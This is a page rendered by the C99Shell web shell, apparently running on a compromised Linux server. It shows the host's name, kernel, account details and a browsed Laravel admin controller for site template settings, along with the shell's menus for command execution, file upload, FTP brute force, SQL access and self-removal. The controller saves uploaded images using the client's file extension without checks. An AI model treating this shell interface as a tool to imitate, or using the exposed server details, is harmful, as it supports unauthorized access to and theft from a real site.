!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemplateController.php (8.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;

class 
TemplateController extends Controller
{
    public function 
index(){
        return  
view('admin.template.index');
    }
    public function 
store(Request $request){

        
$sectionBanner json_decode(get_settings('section_banner'));
        if (
$request->name == 'section_banner') {
            if (
$request->hasFile('banner_sec_bg_image')) {
                
$file $request->file('banner_sec_bg_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['banner_sec_bg_image_file_name'] = $imageName;
            } else {
                
$request['banner_sec_bg_image_file_name'] = isset($sectionBanner)?$sectionBanner->banner_sec_bg_image_file_name:'';
            }
            
$data = ['name' => 'section_banner'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('banner_sec_title''banner_sec_description''banner_sec_bg_image_file_name'));
            
$setting->save();
        }

        
$sectionAbout json_decode(get_settings('section_about'));
        if (
$request->name == 'section_about') {
            if (
$request->hasFile('about_sec_bg_image')) {
                
$file $request->file('about_sec_bg_image');
                
$imageName time() . '_2' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['about_sec_bg_image_file_name'] = $imageName;
            } else {
                
$request['about_sec_bg_image_file_name'] = isset($sectionAbout)?$sectionAbout->about_sec_bg_image_file_name:'';
            }
            
$data = ['name' => 'section_about'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('about_sec_title''about_sec_description''about_sec_bg_image_file_name'));
            
$setting->save();
        }
        
$sectionWhyChoose json_decode(get_settings('section_why_choose_us'));
        if (
$request->name == 'section_why_choose_us') {
            if (
$request->hasFile('why_choose_sec_first_bg_image')) {
                
$file $request->file('why_choose_sec_first_bg_image');
                
$imageName time() . '_3' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['why_choose_sec_first_bg_image_file_name'] = $imageName;
            } else {
                
$request['why_choose_sec_first_bg_image_file_name'] = isset($sectionWhyChoose)?$sectionWhyChoose->why_choose_sec_first_bg_image_file_name:'';
            }
            if (
$request->hasFile('why_choose_sec_second_bg_image')) {
                
$file $request->file('why_choose_sec_second_bg_image');
                
$imageName time() . '_4' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['why_choose_sec_second_bg_image_file_name'] = $imageName;
            } else {
                
$request['why_choose_sec_second_bg_image_file_name'] = isset($sectionWhyChoose)?$sectionWhyChoose->why_choose_sec_second_bg_image_file_name:'';
            }
            if (
$request->hasFile('why_choose_sec_third_bg_image')) {
                
$file $request->file('why_choose_sec_third_bg_image');
                
$imageName time() . '_5' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['why_choose_sec_third_bg_image_file_name'] = $imageName;
            } else {
                
$request['why_choose_sec_third_bg_image_file_name'] = isset($sectionWhyChoose)?$sectionWhyChoose->why_choose_sec_third_bg_image_file_name:'';
            }
            
$data = ['name' => 'section_why_choose_us'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('why_choose_heading','why_choose_sub_heading','why_choose_first_title''why_choose_second_title','why_choose_third_title','why_choose_sec_first_description','why_choose_sec_second_description','why_choose_sec_third_description''why_choose_sec_first_bg_image_file_name','why_choose_sec_second_bg_image_file_name','why_choose_sec_third_bg_image_file_name'));
            
$setting->save();
        }

        if (
$request->name == 'section_what_we_offer'){
            
$data = ['name' => 'section_what_we_offer'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('what_we_offer_heading','what_we_offer_sub_heading','what_we_offer_first_title','what_we_offer_second_title','what_we_offer_third_title','what_we_offer_fourth_title','what_we_offer_fifth_title','what_we_offer_sixth_title','what_we_offer_first_description','what_we_offer_second_description','what_we_offer_third_description','what_we_offer_fourth_description','what_we_offer_fifth_description','what_we_offer_sixth_description'));
            
$setting->save();
        }
        
$sectionHowItWorks json_decode(get_settings('section_how_it_work'));
        if (
$request->hasFile('how_it_work_sec_bg_image')) {
            
$file $request->file('how_it_work_sec_bg_image');
            
$imageName time() . '_6' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['how_it_work_sec_bg_image_file_name'] = $imageName;
        } else {
            
$request['how_it_work_sec_bg_image_file_name'] = isset($sectionHowItWorks)?$sectionHowItWorks->how_it_work_sec_bg_image_file_name:'';
        }

        if (
$request->name == 'section_how_it_work') {

            
$data = ['name' => 'section_how_it_work'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('how_it_work_heading','how_it_work_sub_heading','how_it_work_title_one''how_it_work_title_two','how_it_work_title_three','how_it_work_title_four','how_it_work_description_one','how_it_work_description_two','how_it_work_description_three','how_it_work_description_four''how_it_work_sec_bg_image_file_name'));
            
$setting->save();
        }

        
$sectionTestimonial json_decode(get_settings('section_testimonial'));

        if (
$request->hasFile('testimonial_first_commenter_image')) {
            
$file $request->file('testimonial_first_commenter_image');
            
$imageName time() . '_7' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['testimonial_first_commenter_image_file_name'] = $imageName;
        } else {
            
$request['testimonial_first_commenter_image_file_name'] = isset($sectionTestimonial)?$sectionTestimonial->testimonial_first_commenter_image_file_name:'';
        }
        if (
$request->hasFile('testimonial_second_commenter_image')) {
            
$file $request->file('testimonial_second_commenter_image');
            
$imageName time() . '_8' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['testimonial_second_commenter_image_file_name'] = $imageName;
        } else {
            
$request['testimonial_second_commenter_image_file_name'] = isset($sectionTestimonial)?$sectionTestimonial->testimonial_second_commenter_image_file_name:'';
        }
        if (
$request->name == 'section_testimonial') {

            
$data = ['name' => 'section_testimonial'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('testimonial_first_commenter_name','testimonial_second_commenter_name','testimonial_first_commenter_comment''testimonial_second_commenter_comment','testimonial_first_commenter_image_file_name','testimonial_second_commenter_image_file_name'));
            
$setting->save();
        }

        if (
$request->name == 'section_contact_us'){
            
$data = ['name' => 'section_contact_us'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('full_address','get_in_touch','phone_number','email'));
            
$setting->save();
        }
        if (
$request->name == 'section_quick_links'){
            
$data = ['name' => 'section_quick_links'];
            
$setting auth()->user()->settings()->firstOrNew($data);
            
$setting->value json_encode($request->only('terms_and_condition','privacy_and_policy'));
            
$setting->save();
        }

        
cache()->flush();
        return 
redirect()->back()->with('success','Template successfully update');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--